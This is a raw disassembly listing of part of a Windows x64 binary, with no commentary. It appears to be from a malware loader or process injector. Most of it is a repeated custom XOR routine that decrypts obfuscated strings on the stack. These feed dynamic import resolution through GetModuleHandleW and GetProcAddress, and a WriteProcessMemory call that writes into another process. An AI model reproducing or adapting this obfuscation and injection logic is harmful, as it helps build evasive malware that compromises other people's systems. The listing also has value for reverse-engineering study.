nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jge 0x14002bca8
jmp 0x140028360
movups xmm2, xmmword [0x14008b380]
movups xmmword [rbp + 0x198], xmm2
movsd xmm0, qword [str._16__3ECJ]
movsd qword [rbp + 0x1a8], xmm0
movzx eax, byte [0x14008b398]
mov byte [rbp + 0x1b0], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002866f
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x198], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x19c]
xorps xmm2, xmm1
movd dword [rbp + 0x19c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a0]
xorps xmm2, xmm1
movd dword [rbp + 0x1a0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a4]
xorps xmm2, xmm1
movd dword [rbp + 0x1a4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a8]
xorps xmm2, xmm1
movd dword [rbp + 0x1a8], xmm2
movdqa xmm2, xmmword [0x14008c390]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ac]
xorps xmm2, xmm1
movd dword [rbp + 0x1ac], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140028680
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0xd80]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xd80]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xd80]
call fcn.140043300
mov r9, qword [rbp + 0x14e8]
lea r9, [r9*2 + 2]
lea rax, [rbp + 0x1520]
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140028934
lea rdx, [rbp + 0x1250]
call fcn.14002c0c0
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x14002bccf
cmp r12d, 2
jl 0x1400288f4
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
mov ebx, r13d
mov r8d, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jge 0x14002bccf
jmp 0x140028900
movups xmm0, xmmword [str.eA_ASgJVYONsZ_.0:d]
movups xmmword [rbp + 0x7e0], xmm0
movsd xmm0, qword [0x140089e28]
movsd qword [rbp + 0x7f0], xmm0
mov eax, dword [0x140089e30]
mov dword [rbp + 0x7f8], eax
movzx eax, byte [0x140089e34]
mov byte [rbp + 0x7fc], al
mov r8d, ebx
cmp r12d, 2
jl 0x140028a9a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x7e0]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x1400289a0
cmp r8d, 0x1d
jge 0x140028ae3
movsxd rax, r8d
lea r9, [rbp + 0x7e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140028ab0
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0xd60]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xd60]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xd60]
call fcn.140043300
movups xmm4, xmmword [str.YVF_S__v_v]
movups xmmword [rbp + 0x428], xmm4
movq xmm5, qword [0x14008ada0]
movq qword [rbp + 0x438], xmm5
movzx eax, word [0x14008ada8]
mov word [rbp + 0x440], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140028ca3
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x428], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x430]
xorps xmm3, xmm0
movq qword [rbp + 0x430], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x438], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x428]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140028cc0
lea rcx, [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140028d73
lea rdx, [rbp + 0x11a8]
call fcn.14002c0f0
mov r9, rax
cmp byte [rax + 0xf], 0
je 0x14002bea5
cmp r12d, 2
jge 0x14002bcf6
mov r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x10
jge 0x14002bea5
jmp 0x140028d40
movups xmm2, xmmword [str.uV_xYSMU_s_SZS_a]
movups xmmword [rbp + 0x240], xmm2
movsd xmm0, qword [0x14008a840]
movsd qword [rbp + 0x250], xmm0
movzx eax, word [0x14008a848]
mov word [rbp + 0x258], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140029055
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x240], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x244]
xorps xmm2, xmm1
movd dword [rbp + 0x244], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x248]
xorps xmm2, xmm1
movd dword [rbp + 0x248], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x24c]
xorps xmm2, xmm1
movd dword [rbp + 0x24c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x250]
xorps xmm2, xmm1
movd dword [rbp + 0x250], xmm2
movdqa xmm6, xmmword [0x14008c390]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x254]
xorps xmm2, xmm1
movd dword [rbp + 0x254], xmm2
mov r8d, 0x18
jmp 0x14002905d
movdqa xmm6, xmmword [0x14008c390]
mov eax, r8d
lea r9, [rbp + 0x240]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140029070
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0xe00]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xe00]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xe00]
call fcn.140043300
movsd xmm0, qword [str.UQzZK_IEj_]
movsd qword [rbp + 0x98], xmm0
mov ecx, dword [0x14008b540]
mov dword [rbp + 0xa0], ecx
movzx eax, byte [0x14008b544]
mov byte [rbp + 0xa4], al
mov r8d, ebx
cmp r12d, 2
jl 0x140029260
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.UQzZK_IEj_]
xorps xmm1, xmm0
movd dword [rbp + 0x98], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0xa0], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140029270
lea rdx, [rbp + 0x98]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140029466
lea rdx, [rbp + 0x1188]
call fcn.14002c100
mov r9, rax
cmp byte [rax + 0xe], 0
je 0x14002becc
cmp r12d, 2
jl 0x14002942c
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
mov ebx, esi
mov r8d, ebx
add r8, r9
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jge 0x14002becc
jmp 0x140029432
movups xmm2, xmmword [0x14008a308]
movups xmmword [rbp + 0x178], xmm2
movsd xmm0, qword [0x14008a318]
movsd qword [rbp + 0x188], xmm0
movzx eax, byte [0x14008a320]
mov byte [rbp + 0x190], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002973d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x178], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x17c]
xorps xmm2, xmm1
movd dword [rbp + 0x17c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x180]
xorps xmm2, xmm1
movd dword [rbp + 0x180], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x184]
xorps xmm2, xmm1
movd dword [rbp + 0x184], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x188]
xorps xmm2, xmm1
movd dword [rbp + 0x188], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x18c]
xorps xmm2, xmm1
movd dword [rbp + 0x18c], xmm2
mov r8d, 0x18
mov eax, r8d
